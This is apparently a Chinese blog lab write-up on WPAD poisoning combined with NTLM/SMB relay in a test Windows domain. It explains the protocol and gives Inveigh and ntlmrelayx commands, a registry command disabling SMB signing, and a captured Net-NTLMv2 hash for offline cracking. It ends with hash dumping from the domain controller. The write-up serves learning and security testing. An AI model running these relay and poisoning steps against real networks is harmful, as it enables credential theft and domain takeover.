基于WPAD的内网渗透
前言：学习基于资源委派之前先学习下关于WPAD投毒
参考文章：https://xz.aliyun.com/t/1739
参考文章：https://daiker.gitbook.io/windows-protocol/ntlm-pian/7
WPAD投毒在内网渗透中配合基于资源的约束委派会十分的好用
什么是WPAD
WPAD（Web Proxy Auto-Discovery Protocol） 是 Web 代理自动发现协议的简称，该协议的功能是可以使局域网中用户的浏览器可以自动发现内网中的代理服务器，并使用已发现的代理服务器连接互联网或者企业内网。WPAD 支持所有主流的浏览器，从 IE 5.0 开始就已经支持了代理服务器自动发现/切换的功能，苹果公司考虑到 WPAD 的安全风险，在包括 OSX 10.10 及之后版本的操作系统中的 Safari 浏览器将不再支持 PAC 文件的解析。
WPAD的工作原理
当系统开启了代理自动发现功能后，用户使用浏览器上网时，浏览器就会在当前局域网中自动查找代理服务器，如果找到了代理服务器，则会从代理服务器中下载一个名为 PAC（Proxy Auto-Config） 的配置文件。该文件中定义了用户在访问一个 URL 时所应该使用的代理服务器。浏览器会下载并解析该文件，并将相应的代理服务器设置到用户的浏览器中
在 Windows 系统中，从 IE 5.0 开始就支持了 WPAD，并且 Windows 系统默认是开启了 WPAD 功能的。可以在 IE浏览器的 Internet 选项 — 连接 选项卡 — 局域网设置 — 自动检测设置 中看到，系统默认是勾选此功能的。
WPAD投毒利用原理
这里通过抓包来进行观察学习WPAD的流程
三次握手完成之后，就直接开始了与中继机器进行通信，就会去访问中继那台机器上的/wpad.dat的地址
可以看到先是这里的HTTP 401认证，直接发送了相关的NTLM头来进行协商，之后就开始质询，通过NTLM协议来进行通信
接着就是中继机器和域控来进行通信了，这里也可以说明其实中继就是起到一个中间人的作用
接着就是NTLM的第三步了，然后同样的中继机器拿到凭证之后直接向域控发起来请求
还可以看到impacket的操作，通过注册表相关的利用来进行dump hash的操作
WPAD投毒利用-Net-NTLMv2窃取
环境：
WIN-BING-PC：192.168.4.139
WIN-SKE-PC：192.168.4.130
WIN-CONTROLLER：192.168.4.11
现在SKE-PC上进行WPAD投毒
接着这里打开BING-PC的浏览器（我这里打开的谷歌的，只要默认会访问WPAD的都是可以的）
然后可以在SKE-PC上进行看到相关的WPAD投毒获取到的Net NTLMv2的凭证信息
拿到相关的凭证就可以拿密码字典来进行跑了，比如用hashcat，这里就不演示了
bingbing::HENGGE:434B54495747454C:DA536032CAA1574EDE45B0CC37543ADD:0101000000000000C700C091F0FBD7010A3965966B0FE74F0000000002001400570049004E002D0053004B0045002D005000430001001400570049004E002D0053004B0045002D005000430004001400680065006E006700670065002E0063006F006D0003001400570049004E002D0053004B0045002D005000430005001400680065006E006700670065002E0063006F006D0007000800C700C091F0FBD701060004000200000008003000300000000000000000000000002000000E2CDDCD3C76F8092000A5B5B36EB686418D1A139DF7371772295E5F06C093050A001000000000000000000000000000000000000900120048005400540050002F007700700061006400000000000000000000000000
正常smbrelay中继利用
之前写过用responder来做过正常的smbrelay（没配合wpad），地址为 https://www.cnblogs.com/zpchcbd/p/12199386.html
192.168.4.11 DC1 HENGGE\ADMINISTRATOR
192.168.4.130 WIN-SKE-PC .\ADMINISTRATOR
192.168.4.137 UBUNTU
这里的话用impacket来进行WPAD配合smbrelay，在做测试的时候，记得机器都关闭SMB签名，高版本的机器都默认需要SMB签名验证的
SMB签名验证关闭：reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
在UBUNTU上进行impacket中继监听， python3 ntlmrelayx.py -t smb://192.168.4.11 -smb2support -debug
接着在 WIN-SKE-PC上进行smb访问，dir \\192.168.4.130\c$，如下图UBUNTU中继的效果
知识点：SMB签名验证，最后起决定性作用的还是要中继到的目标主机是否存在SMB签名，因为smbrelay是中间人和被中继的主机目标进行通信的，所以下面这种情况同样可以进行中继利用
WPAD配合smbrelay中继利用
192.168.4.11 DC1 HENGGE\ADMINISTRATOR
192.168.4.139 WIN-WEB-SERVER .\ADMINISTRATOR
192.168.4.130 WIN-SKE-PC .\ADMINISTRATOR
192.168.4.137 UBUNTU
这里在WIN-SKE-PC用inveigh来进行WPAD投毒，对 WIN-WEB-SERVER 进行WPAD投毒，使其UBUNTU将其凭证中继到域控DC1中去，因为中继需要密码一样，所以在WIN-WEB-SERVER中我用的是本地高权限（密码和域管administrator是一样的）
WIN-SKE-PC上执行命令 inveigh -SpooferIP 192.168.4.137
UBUNTU上准备中继操作
接着在 WIN-WEB-SERVER 上打开相关浏览器如下图
此时WPAD已经投毒成功了
再来看下UBUNTU同样也已经成功进行了中继的操作，成功的dump了相关的DC1的HASH
个人思考问题
关于wpad走http的ntlm认证流程的问题
正常的来说一个浏览器打开wpad.dat就展示出一个401的认证框，那么为什么在WPAD投毒的时候却不用输入，而是直接默认走了HTTP的NTLM认证流程了呢？
上面的抓包过程中可以看到其实还是走了，只是可能没有看到，接着就是继续走NTLM的认证了
补：有点忘记了，好像是IE的信任等级的原因
关于正常smbrelay中继利用的问题
有人应该会这么想，既然可以进行中继操作，那何必将这个请求中继给其他的机器，为什么不直接谁请求就中继给谁吗？
其实如果你想要这样肯定是可以的，但是会有一个补丁问题，具体可以看MS08068的补丁
在实战中基于smbrelay中继中考虑的两个问题
1、一个是自身的问题，需要满足SMB签名为FALSE才可以，因为SMB签名需要为FALSE，但是一般PC机器上的签名的REQUIRE才为FALSE，而正常的SERVER的机器签名都是为REUQIRED的
2、另外一个就是UAC的问题，你需要考虑UAC，如果UAC是限制是存在的，那么在这种情况的SMB中继其实利用范围也不大
其实对于smbrelay的利用，个人认为在这个方面上的利用点是不大的，而真正可以利用，并且好利用的地方是在域渗透中的基于资源的约束委派的利用，我们可以通过对域控的LDAP进行操作（LDAP的签名默认为FALSE，不进行验证），然后我们配合WPAD然后再配合自定义LDAP操作进行基于资源的约束委派。
关于跨协议的问题
为什么上面WPAD配合smbrelay中继利用不需要考虑到SMB签名相关的问题呢？
这里的WPAD投毒具体是HTTP协议内嵌SMB协议进行HTTP跨协议LDAP中继到LDAP服务器，这里的LDAP服务器不要求HTTP跨协议中继签名问题
